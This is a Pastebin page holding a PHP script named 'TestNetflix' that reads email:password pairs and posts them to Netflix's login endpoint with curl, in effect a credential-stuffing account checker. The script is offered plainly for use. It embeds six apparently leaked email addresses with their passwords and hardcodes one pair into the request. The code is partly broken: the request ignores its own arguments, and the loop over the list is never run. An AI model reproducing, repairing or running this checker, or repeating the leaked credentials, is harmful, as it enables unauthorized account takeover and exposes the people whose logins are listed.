Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- class TestNetflix
- {
- public $accounts;
- public $usermail;
- public $password;
- private $dataSize;
- public function __construct($accounts)
- {
- $this->accounts = $accounts;
- }
- private function setData()
- {
- $data = explode("\n", $this->accounts);
- $this->dataSize = count($data);
- foreach($data as $key){
- $break = explode(':', $key);
- $this->usermail = $break[0];
- $this->password = $break[1];
- $this->setCurl($this->usermail, $this->password);
- }
- }
- static public function setCurl($usermail, $password)
- {
- $curl = curl_init();
- $headers = array(
- "POST /login?locale=pt-BR HTTP/1.0",
- "Content-type: text/xml;charset=\"utf-8\"",
- "Accept: text/xml",
- "Cache-Control: no-cache",
- "Pragma: no-cache",
- "SOAPAction: \"run\"",
- );
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_URL => 'https://www.netflix.com/login?locale=pt-BR',
- CURLOPT_POST => 1,
- CURLOPT_HTTPHEADER => $headers,
- CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'],
- CURLOPT_HEADER => 1,
- CURLOPT_FOLLOWLOCATION => 1,
- CURLOPT_RETURNTRANSFER => 1,
- CURLOPT_REFERER => 'https://www.netflix.com/',
- CURLOPT_POSTFIELDS => array(
- 'email' => 'eisbar.amy@gmail.com',
- 'password' => 'virtuous'
- ),
- CURLOPT_COOKIEJAR => 'cookie.txt',
- ));
- $rel = curl_exec($curl);
- curl_close($curl);
- if(!$rel)
- echo 'não';
- echo $rel;
- }
- }
- $a = 'eisbar.amy@gmail.com:virtuous
- elkuhr@gmail.com:091906
- ellentwood.23@gmail.com:tamagotchi1
- emicallef42@gmail.com:december10
- emiliechaney@gmail.com:niapsnoj
- emz.rokzzz@gmail.com:jackwills';
- $netflix = new TestNetflix($a);
- $netflix::setCurl('eisbar.amy@gmail.com', 'virtuous');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement